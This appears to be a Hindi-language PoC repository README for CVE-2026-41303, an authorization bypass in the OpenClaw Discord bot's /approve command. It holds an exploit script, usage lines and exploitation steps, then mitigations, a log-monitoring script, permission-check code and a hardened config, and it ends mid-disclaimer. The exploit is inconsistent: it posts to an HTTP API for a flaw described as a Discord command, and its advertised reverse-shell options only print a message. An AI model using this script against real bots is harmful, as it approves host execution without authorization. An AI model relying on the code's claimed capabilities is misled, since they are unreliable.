
# CVE-2026-41303 के लिए तकनीकी दस्तावेज़ीकरण और प्रूफ-ऑफ-कॉन्सेप्ट OpenClaw Discord बॉट में प्राधिकरण बाईपास (authorization bypass) हेतु तकनीकी दस्तावेज़ीकरण और प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें शोषण पद्धति, शमन चरण, और रक्षात्मक अनुशंसाएँ शामिल हैं।
OpenClaw में प्राधिकरण उल्लंघन (authorization bypass) भेद्यता पर पूर्ण तकनीकी दस्तावेज़
इस रिपॉजिटरी में CVE-2026-41303 भेद्यता के बारे में तकनीकी जानकारी, विश्लेषण और अनुशंसाएँ शामिल हैं, जो OpenClaw प्रोजेक्ट में निष्पादन अनुमोदन कमांड में प्राधिकरण उल्लंघन (authorization bypass) की अनुमति देती है।
OpenClaw के 2026.3.28 से पहले के संस्करणों में एक गंभीर दोष की पहचान की गई है। समस्या Discord टेक्स्ट अनुमोदन कमांड में निहित है, जहाँ अधिकृत अनुमोदकों की सूची (channels.discord.execApprovals.approvers) में शामिल नहीं होने वाले उपयोगकर्ता लंबित होस्ट निष्पादन अनुरोधों को अनुमोदित कर सकते हैं।
| पैरामीटर | मान |
|---|---|
| CVE ID | CVE-2026-41303 |
| प्रभावित उत्पाद | OpenClaw |
| भेद्यता प्रकार | Authorization Bypass (CWE-863) |
| हमला वेक्टर | Discord में टेक्स्ट कमांड |
| प्लेटफ़ॉर्म | Linux / Discord |
| CVSS स्कोर | 8.8 (उच्च) |
| प्रभावित संस्करण | < 2026.3.28 |
| स्थिति | v2026.3.28+ में सुधारा गया |
भेद्यता OpenClaw बॉट के /approve कमांड हैंडलर में प्राधिकरण सत्यापन की कमी में निहित है। सिस्टम अनुरोध को संसाधित करने से पहले यह ठीक से जाँच नहीं करता है कि कमांड निष्पादित करने वाला उपयोगकर्ता अधिकृत अनुमोदकों की सूची में है या नहीं।
जिस Discord चैनल तक पहुँच रखने वाला हमलावर जहाँ अनुमोदन प्रबंधित किए जाते हैं, वह निम्न कार्य कर सकता है:
अनधिकृत उपयोगकर्ता
↓
Discord चैनल तक पहुँच
↓
लंबित अनुमोदन ID की पहचान
↓
/approve कमांड निष्पादित करता है
↓
बॉट अनुमतियों की जाँच किए बिना अनुमोदन करता है
↓
रिमोट कोड निष्पादन (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# ऑडिट के लिए पेशेवर तर्क कॉन्फ़िगरेशन
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - OpenClaw में अनुमोदन बायपास",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
उपयोग के उदाहरण:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="बॉट इंस्टेंस या संदर्भ का URL")
parser.add_argument("--token", required=True, help="हमलावर/ऑडिटर का Discord टोकन")
parser.add_argument("--channel-id", required=True, help="Discord चैनल का ID")
parser.add_argument("--approval-id", required=True, help="बायपास करने के लिए अनुमोदन का ID")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="अनुमोदन निर्णय का प्रकार (डिफ़ॉल्ट: allow-once)")
# पोस्ट-एक्सप्लॉइटेशन के लिए अतिरिक्त पैरामीटर
parser.add_argument("--lhost", help="यदि अनुमोदन RCE सक्रिय करता है तो reverse shell के लिए IP")
parser.add_argument("--lport", help="सुनने का पोर्ट")
parser.add_argument("--verbose", "-v", action="store_true", help="वर्बोज़ मोड")
args = parser.parse_args()
# शोषण तर्क
print(f"[*] अनुमोदन के लिए बायपास शुरू: {args.approval_id}")
print(f"[*] लक्ष्य चैनल: {args.channel_id}")
print(f"[*] निर्णय: {args.decision}")
if args.verbose:
print(f"[DEBUG] टोकन: {args.token[:20]}...")
print(f"[DEBUG] लक्ष्य: {args.target}")
# दोषपूर्ण अनुरोध का निर्माण
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# अनुमति सत्यापन के बिना /approve कमांड भेजना
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] बायपास सफल! अनुमोदन निष्पादित हुआ।")
print(f"[+] प्रतिक्रिया: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell {args.lhost}:{args.lport} पर कॉन्फ़िगर किया गया")
else:
print(f"[-] त्रुटि: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] अपवाद: {str(e)}")
if __name__ == "__main__":
main()
# मूल उपयोग
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# वर्बोज़ मोड
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Reverse shell के साथ
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. उस Discord चैनल तक पहुँच प्राप्त करें जहाँ OpenClaw इंटरैक्ट करता है
2. लंबित अनुमोदन IDs की पहचान के लिए बॉट संदेशों की निगरानी करें
3. अनुमोदन अनुरोधों का सटीक प्रारूप कैप्चर करें
4. /approve कमांड की संरचना का दस्तावेज़ीकरण करें
1. कैप्चर किए गए IDs के साथ PoC स्क्रिप्ट निष्पादित करें
2. पैरामीटर के साथ निर्णय (allow-once या allow-always) भेजें
3. बॉट उपयोगकर्ता अनुमतियों की जाँच किए बिना कमांड संसाधित करता है
4. अनुमोदन सफलतापूर्वक निष्पादित होता है
यदि Discord में टेक्स्ट अनुमोदन सर्वर पर स्वचालित फ़ंक्शन सक्रिय करता है:
↓
कोड परिनियोजन
↓
रिमोट कोड निष्पादन (RCE)
↓
सिस्टम से पूर्ण समझौता
1. OpenClaw अपडेट करें
# संस्करण 2026.3.28 या उच्चतर में अपडेट करें
pip install --upgrade openclaw>=2026.3.28
# या आधिकारिक रिपॉजिटरी से
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. कॉन्फ़िगरेशन की समीक्षा करें
# channels.discord.execApprovals.approvers सत्यापित करें
# फ़ाइल: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ सुनिश्चित करें कि केवल विश्वसनीय उपयोगकर्ता ही इस सूची में हों
3. लॉग ऑडिट
# हाल के निष्पादन रिकॉर्ड की समीक्षा करें
tail -f /var/log/openclaw/execution.log
# संदिग्ध अनुमोदन खोजें
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# पूर्ण ऑडिट
openclaw-audit --check-approvals --date-range "last-30-days"
/approve कमांड की निगरानी लागू करें# शोषण का पता लगाने के लिए निगरानी स्क्रिप्ट
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""प्राधिकरण बायपास प्रयासों का पता लगाता है"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[अलर्ट] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# व्यवस्थापक को सूचना भेजें
send_alert(alert)
def send_alert(message):
"""व्यवस्थापक को अलर्ट भेजता है"""
# सूचना लागू करें (ईमेल, Slack, आदि)
pass
# सुरक्षित सत्यापन कार्यान्वयन
def approve_execution(user_id, approval_id, decision):
"""अनुमोदन से पहले अनुमतियाँ सत्यापित करता है"""
# 1. सत्यापित करें कि उपयोगकर्ता अनुमोदकों की सूची में है
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"उपयोगकर्ता {user_id} अधिकृत नहीं है")
# 2. सत्यापित करें कि अनुमोदन मौजूद है और लंबित है
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"अनुमोदन {approval_id} मान्य नहीं है")
# 3. कार्रवाई लॉग करें
log_approval(user_id, approval_id, decision)
# 4. अनुमोदन निष्पादित करें
return execute_approval(approval_id, decision)
# config.yaml - सुरक्षित कॉन्फ़िगरेशन
security:
# सख्त अनुमति सत्यापन
strict_authorization: true
# बहु-कारक प्रमाणीकरण आवश्यक
mfa_required: true
# सभी अनुमोदन लॉग करें
audit_logging: true
# असफल प्रयासों की सीमा
max_failed_attempts: 3
# प्रयासों के बीच प्रतीक्षा समय
lockout_duration: 300 # सेकंड
# वास्तविक समय अलर्ट
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# अनुमत भूमिकाएँ (अतिरिक्त)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# कई उपयोगकर्ताओं के अनुमोदन की आवश्यकता
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ महत्वपूर्ण सूचना ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ यह दस्तावेज़ केवल शैक्षिक और सूचना सुरक्षा उद्देश्यों के लिए है। ║
║ यहाँ निहित जानकारी का उपयोग केवल अधिकृत सुरक्षा पेशेवरों द्वारा ║
║ नियंत्रित वातावरण में किया जाना चाहिए। ║
║ ║
║